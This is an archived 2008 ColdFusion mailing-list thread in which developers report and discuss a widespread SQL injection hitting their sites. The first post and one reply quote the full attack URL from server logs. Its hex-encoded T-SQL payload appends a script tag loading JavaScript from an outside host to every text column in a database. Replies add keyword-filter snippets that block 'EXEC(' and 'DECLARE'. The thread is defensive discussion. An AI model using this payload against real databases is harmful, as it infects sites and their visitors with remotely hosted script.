House of Fusion
Home of the ColdFusion Community

Search cf-talk

December 02, 2008

<<   <   Today   >   >>
Su Mo Tu We Th Fr Sa
   1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31       

Search over 2,500 ColdFusion resources here  >>>      
Home /  Groups /  ColdFusion Talk (CF-Talk)

(ot) URL Hack Attempt Leaves Me Scractching My Head

  << Previous Post |  RSS |  Sort Oldest First |  Sort Latest First |  Subscribe to this Group Next >> 
>>We're getting hit hard today with this.
Gerald Guido
07/21/08 01:04 P
And what about my page exec(.cfm?! :OD
Adrian Lynch
07/24/08 09:11 A
Doooooooh!
Jesse Beckton
07/22/08 10:26 P
Read this:
Brad Wood
07/21/08 11:07 A
Good point. My bad...
Che Vilnonis
07/21/08 11:44 A
Mutha!!!
Andy Matthews
07/21/08 12:21 P
Brad,
Heikki Heikkinen
07/21/08 06:12 P
>>Drop database foo
Gerald Guido
07/21/08 12:16 P
I was just looking into that myself.
Joshua Cyr
07/21/08 01:11 P
>I was just looking into that myself.
Matthew Smith
07/24/08 03:05 P
+1
Che Vilnonis
07/21/08 01:14 P
Dave...
Andy Matthews
07/21/08 03:36 P
Band-Aids and duct tape...
Brad Wood
07/21/08 02:02 P
Just an FYI...
Andy Matthews
07/21/08 03:40 P
Mark,
Heikki Heikkinen
07/21/08 05:22 P
One of my websites got hit.. I always use
Al Musella, DPM
07/23/08 06:18 P
Hi Dave,
Martin Schmelzle
07/23/08 03:43 P
Brad/dave,
Mark Kruger
07/21/08 03:42 P
>>....and no...not retarded....just tactless
Claude Schneegans
07/21/08 09:13 P
>>I too was concerned about your solution being
Claude Schneegans
07/21/08 09:50 P
Easy. sp_executesql
Brad Wood
07/21/08 04:07 P
Adrian,
Dave Phillips
07/24/08 10:09 A
>>In our case, what
Claude Schneegans
07/24/08 10:55 A
Always sanitize your data entry.
Gerald Guido
07/21/08 10:28 P
But Billy has been told to turn:
Adrian Lynch
07/24/08 10:13 A
>>But Billy has been told to turn:
Claude Schneegans
07/24/08 10:46 A
I'll say it again.
James Holmes
07/24/08 11:59 A
What about if I put:
Radek Valachovic
07/23/08 08:33 P
Gabriel,
Mark Kruger
07/23/08 11:17 P
Mark,
Gabriel
07/24/08 12:19 A
Gabriel,
Mark Kruger
07/24/08 08:56 A
>>var listSQLInject =
Claude Schneegans
07/24/08 09:16 A
What would you suggest for this kind of thing:
Radek Valachovic
07/24/08 02:22 P
Correction sql should be in the text:
Radek Valachovic
07/24/08 03:04 P
Radek,
Cutter (CFRelated)
07/24/08 03:09 P
Charlie Griefer wrote:
Ian Skinner
07/24/08 02:31 P
My thinking is:
Al Musella, DPM
07/23/08 11:42 P
Al Musella, DPM wrote:
Jochem van Dieten
07/24/08 03:13 P
>>If you don't really care
Claude Schneegans
07/24/08 02:06 P
Dave Phillips wrote:
Ian Skinner
07/24/08 03:03 P
Interesting question:
Radek Valachovic
07/25/08 07:29 P
> > If you don't really care
Dave Watts
07/24/08 02:36 P
> Interesting question:
Dave Watts
07/26/08 12:49 A
Top  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Che Vilnonis
07/21/2008 10:55 AM

Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Mark Kruger
07/21/2008 11:00 AM

This is a popular and very malicious SQL injection attack that is making the rounds: http://www.coldfusionmuse.com/index.cfm/2008/7/18/Injection-Using-CAST-And-A SCII -Mark Mark A. Kruger, CFG, MCSE (402) 408-3733 ext 105 www.cfwebtools.com www.coldfusionmuse.com www.necfug.com Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Gerald Guido
07/21/2008 11:01 AM

This is some sort of encoding... Like Bin Hex, Spammers use it to obscure urls and such. Computers read it just fine. If you look around on the internets you can find a decoder to render it to human readable form. You just need to figure out what sort of encoding they are using ----- Excess quoted text cut - see Original Post for more -----

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Josh Nathanson
07/21/2008 12:36 PM

I am seeing these too on our site, in errors generated by bad data going into a cfqueryparam. If several people on this list are seeing this attack, it must be pretty widespread. -- Josh ----- Excess quoted text cut - see Original Post for more -----

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Kris Jones
07/21/2008 12:55 PM

We're getting hit hard today with this. They're failing, because we use cfqueryparam and cfprocparam. But it is quite annoying. -KJ

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Gerald Guido
07/21/2008 01:04 PM

>>We're getting hit hard today with this. >>/rss.cfm? Is is just rss.cfm? I haven't looked at our logs yet. Where did you see this. The server log files? ~~G~~ > We're getting hit hard today with this. They're failing, because we > use cfqueryparam and cfprocparam. But it is quite annoying. > > -KJ

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Kris Jones
07/21/2008 02:00 PM

It'll show in your logs of course. We also have error reports that dump the error info and certain collections and mail it to the dev team. -KJ ----- Excess quoted text cut - see Original Post for more -----

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Andy Matthews
07/21/2008 03:41 PM

We're getting hit with this attack via a wide range of hosted domains, and various files. Sitemap.cfm is a common one at this point. andy >>We're getting hit hard today with this. >>/rss.cfm? Is is just rss.cfm? I haven't looked at our logs yet. Where did you see this. The server log files? ~~G~~ > We're getting hit hard today with this. They're failing, because we > use cfqueryparam and cfprocparam. But it is quite annoying. > > -KJ > >

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Claude Schneegans
07/21/2008 03:11 PM

>>If several people on this list are seeing this attack, it must be pretty widespread. Until now, I just check for strings "http" or "user" in url.id containing something else than an integer value. I now just added "DECLARE" in the validation. All my templates expecting id=<some numeric> start with this code (included): <CFIF val(id) EQ 0 AND (id CONTAINS "http" OR id CONTAINS "user" OR id CONTAINS "DECLARE")> ... save IP of this guy in the banned addresses table... </CFIF> This is even more efficient than CFQURYPARAM, because this way I'm sure the guy will not have another chance. -- _______________________________________ REUSE CODE! Use custom tags; See http://www.contentbox.com/claude/customtags/tagstore.cfm (Please send any spam to this address: piegeacon@internetique.com) Thanks.

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
james carberry
07/21/2008 01:58 PM

Even easier than monkeying with every single one of your cfquery's.... just add following line to the TOP of all your application.cfm's: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j ----- Excess quoted text cut - see Original Post for more -----

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Adrian Lynch
07/24/2008 09:11 AM

And what about my page exec(.cfm?! :OD Just checking my logs now and I'm getting hit by this too. cfqp'd all the way though... Even easier than monkeying with every single one of your cfquery's.... just add following line to the TOP of all your application.cfm's: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
james carberry
07/21/2008 02:43 PM

Just put the following line at the TOP of your application.cfm to innoculate your CF webs against this attack: <cfif cgi.SCRIPT_NAME contains "EXEC(" OR cgi.PATH_INFO contains "EXEC(" OR cgi.QUERY_STRING contains "EXEC("><cfabort></cfif> peace, j ----- Excess quoted text cut - see Original Post for more -----

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Gerald Guido
07/21/2008 07:52 PM

I went to look at a site I do side work for and they got hit. No... not my stuff. :) We are going to be reading about this on all the tech rags like Info World and Zdnet tomorrow. ZDnet will prolly post it with a H1 tag with a blink tag for good measure. One of the things about SQL server I never liked was how you could run ore than one sql script at a time. Mysql doesn't allow you to do this LTIL. cfqueryparam... me love you long time. ~G~ "If everything seems under control, you're not going fast enough" -- Mario Andretti

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Andreas Ertle
07/22/2008 04:50 AM

>Just was looking at a 'user monitor' page on one of my sites and I saw the >url string below being called. I've seen several sql injection urls before, >but what the heck are they trying to accomplish here? Eeverything is >cfqueryparam'ed. Thanks, Che > >/rss.cfm?';DECLARE @S CHAR(4000);SET >@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 Hello, naive question maybe, nevertheless: Can someone confirm that having applied the Microsoft patch(es) mentioned on http://www.microsoft.com/technet/security/bulletin/MS08-040.mspx is sufficient to protect against attacks like these? Who had applied the patch(es) but still was attacked and infected successfully?

Top  |   Parent  |   Reply  |   Original Post  |   RSS Feed  |   Subscribe to this Group
Author:
Kris Jones
07/22/2008 08:13 AM

This attack has nothing to do with elevation of privilege. It simply tacks on a SQL procedure to a query existing on the page already. This procedure then runs through the tables/columns in the database appending text the end of content in varchar fields. The text appended varies, but what I've seen is a javascript file call, that would run when the affected content was displayed in a browser. I can't see how that security patch would have anything to do with it. (Please enlighten me if I'm wrong.) > Can someone confirm that having applied the Microsoft patch(es) mentioned on > ht